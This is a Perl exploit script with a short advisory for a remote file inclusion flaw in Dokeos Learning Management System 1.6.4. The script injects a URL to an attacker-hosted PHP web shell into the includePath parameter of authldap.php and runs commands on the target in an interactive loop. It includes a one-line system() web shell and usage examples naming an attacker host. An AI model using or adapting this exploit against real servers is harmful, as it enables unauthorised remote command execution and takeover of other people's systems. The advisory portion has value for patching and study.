#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie: beford <xbefordx gmail com>
#
# uso:# perl own.pl <host> <cmd-shell-url> <cmd-var>
# perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
print "[shell] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
if (!$cmd) {last;}
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if ($return =~/Error: HTTP request failed!/ ) {
print "\nInvalid path for phpshell\n";
exit;
} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
print "\nInvalid Command, error.\n\n";
}
if ($return =~ /(.*)/) {
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;
} else {
print "[shell] \$";
}
}
} last;
sub head() {
print "\n============================================================================\r\n";
print " Dokeos Learning Management System Remote File Include\r\n";
print "============================================================================\r\n";
}
sub usage() {
head();
print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
print " <host> - Full Path : http://host/dokeos/ \r\n";
print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
print " <var> - var name used in phpshell : cmd \r\n\r\n";
exit();
}
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